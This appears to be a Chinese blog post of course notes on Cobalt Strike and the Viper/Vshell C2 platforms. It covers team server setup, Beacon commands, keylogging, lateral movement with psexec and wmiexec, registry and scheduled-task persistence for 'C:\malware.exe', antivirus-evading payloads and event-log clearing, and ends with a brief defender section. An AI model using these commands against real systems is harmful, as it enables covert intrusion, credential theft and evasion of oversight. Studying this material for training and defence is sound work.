Skip to content
Kurisu
Go back

Cobalt Strike 后渗透

Cobalt Strike 后渗透笔记:服务端/客户端架构、监听器怎么配、Beacon 会话管理、提权和横向移动的插件用法。

核心知识点

1. CS 是什么

2. CS 架构详解(三大核心角色)

C2 通信流程:指挥官在 Client 点按钮 → 指令传给 Team Server → Beacon 心跳时连回司令部 → 司令部转发指令 → Beacon 执行并回传结果 → 指挥官在屏幕上看到。

3. CS 与环境

系统要求:Team Server 用 Kali/Ubuntu/CentOS(至少 2-4GB );客户端支持 Windows/macOS/Linux,需要 Java。

# 1.  Java
sudo apt update
sudo apt install openjdk-11-jdk
java -version

# 2. 解压 CS
unzip cobaltstrike-linux.zip
cd cobaltstrike
ls -la
# 目录:agscript(扩展脚本)、c2lint(C2检查)、cobaltstrike.jar(Java客户端)、teamserver(团队服务器启动脚本)、update

# 3. 生成 SSL 证书(可选但推荐)
keytool -genkey -keyalg RSA -alias cobaltstrike -keystore cobaltstrike.store -storepass password -keypass password -validity 3650 -keysize 2048 -dname "CN=cobaltstrike, OU=Community, O=Strategic Cyber LLC, L=Somewhere, ST=Somewhere, C=US"

# 4. 启动团队服务器(执行前加执行权限)
chmod +x teamserver
./teamserver <服务器IP> <> []
# 例:./teamserver 192.168.1.100 password123

# 5. 启动客户端
./cobaltstrike   # 或 java -jar cobaltstrike.jar

客户端连接参数:Host(服务器 IP)、Port(默认 50050,纪要演示中使用 33000,也可能是端口)、User(任意用户名)、Password(启动时设置的密码)。

端口知识:80=网页服务,443=网页服务,50050=C2 团队服务器端口(可在启动时指定端口)。

纪要 12 次课 CS 实操要点

4. CS 图形界面详解

5. Payload 生成与部署

Payload 类型对比

类型特点适用场景
Staged分阶段传输,体积小需要网络传输
Stageless完整代码一次传输独立文件,大小不敏感
SMB通过 SMB 协议通信网横向移动
DNS通过 DNS 查询通信严格防火墙环境

木马上线:生成的 exe 木马在目标双击运行后,控制端立即看到上线提示(IP、用户名、计算机名),无界面提示,察觉不到。

6. 监听器(Listener)

Payload:     HTTP Beacon
Name:        http-listener
HTTP Host:   192.168.1.100
HTTP Port:   80

创建木马:选 Listener(给木马绑定”接收端”),Listener 的 IP 是木马反向连接的”送货地址”,不对就”失联”。

7. Beacon 命令与控制

基础命令

help              # 查看帮助
sleep 60          # 设置回连时间(心跳)
cd / pwd / ls     # 目录操作
mkdir / rm / cat  # 文件操作
download          # 下载文件
upload            # 上传文件
execute           # 执行程序
shell whoami      # 执行 Shell 命令
powershell Get-Process   # 执行 PowerShell 命令
ps                # 列出进程
migrate <PID>     # 进程迁移(防掉线/防查杀)
spawnto x64 C:\Windows\System32\notepad.exe  # 迁移到新进程
keylogger         # 键盘记录

交互式 Shellshell 交互模式;shell ipconfig 执行单条命令。

8. 网渗透与横向移动

网信息收集

ipconfig /all        # 网络
arp -a               # ARP 表
route print          # 路由表
ipconfig /displaydns # DNS 缓存
portscan <目标IP> <端口范> <扫描类>   # 端口扫描

凭据获取keylogger 键盘记录;view credentials 查看已获取凭证。

横向移动技术

psexec <目标IP> <监听器>     # Psexec 横向移动
powershell <目标IP> <命令>   # PowerShell 远程执行
wmiexec <目标IP>             # WMI 执行

代理与流量转发

socks 1080                     # 在目标主机创建 SOCKS 代理
rportfwd 8080 192.168.1.1 80   # 端口转发

9. 钓鱼攻击

社会工程学(钓鱼的理论基础):

10. 权限维持

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "System Update" /t REG_SZ /d "C:\malware.exe"
schtasks /create /tn "System Update" /tr "C:\malware.exe" /sc daily

11. 杀(初步概念)

12. Viper(青龙)/Vshell 图形化平台

离线部署

# 1.  Docker(离线版)
tar -xvf docker-*.tgz
sudo cp docker/* /usr/bin/
sudo dockerd &

# 2.  Viper 镜像并启动
docker load -i viper.tar
docker run -d --name viper --net=host --restart always \
  -v /var/run/docker.sock:/var/run/docker.sock viperplatform/viper:latest

# 3. 登录 https://127.0.0.1:60000(默认账号 admin / 密码 viper666)

核心实战

  1. 监听器:【网络监听】→【新增监听器】,类型 reverse_https(成网页加密浏览),监听 IP 为 Linux 局域网 IP,端口 443。
  2. 生成杀 Payload:【载荷生成】→ 类型 windows/x64/meterpreter/reverse_https,勾选【源码混淆】/【分离加载】。
  3. Vshell 接管:目标上线后右键主机 →【控制台 (Vshell)】:
    • whoami 确认身份
    • 文件浏览器下载目标桌面文件
    • 插件搜”截图”实时屏幕监控
    • 插件搜”进程迁移” explorer.exe 防止被
    • clearev 事件日志

蓝队防守视角

  1. 查流量:物理断网则 Viper 连接立即中断;企业用流量分析设备拦截未知 HTTPS 443 端口长连接。
  2. 查进程:任务管理器找无数字签名、名字随机、系统进程但路径不对的可疑程序。
  3. 行为拦截:即使静态杀,EDR 也会在”进程迁移""修改自启动项”等危险行为时强行拦截。

实操步骤

# 服务端
sudo apt install openjdk-11-jdk
unzip cobaltstrike.zip && cd cobaltstrike
chmod +x teamserver
./teamserver 192.168.1.100 password123

# 客户端
./cobaltstrike
# 连接:Host=192.168.1.100  Port=50050/33000  User=任意  Password=password123

# Beacon 常用
help
sleep 60
shell whoami
download secret.txt
upload malware.exe
ps
migrate 1234
keylogger
socks 1080
psexec 192.168.1.101 http-listener
persistence

常见错误与排查


Share this post:

Previous Post
Metasploit 渗透框架
Next Post
渗透测试综合实战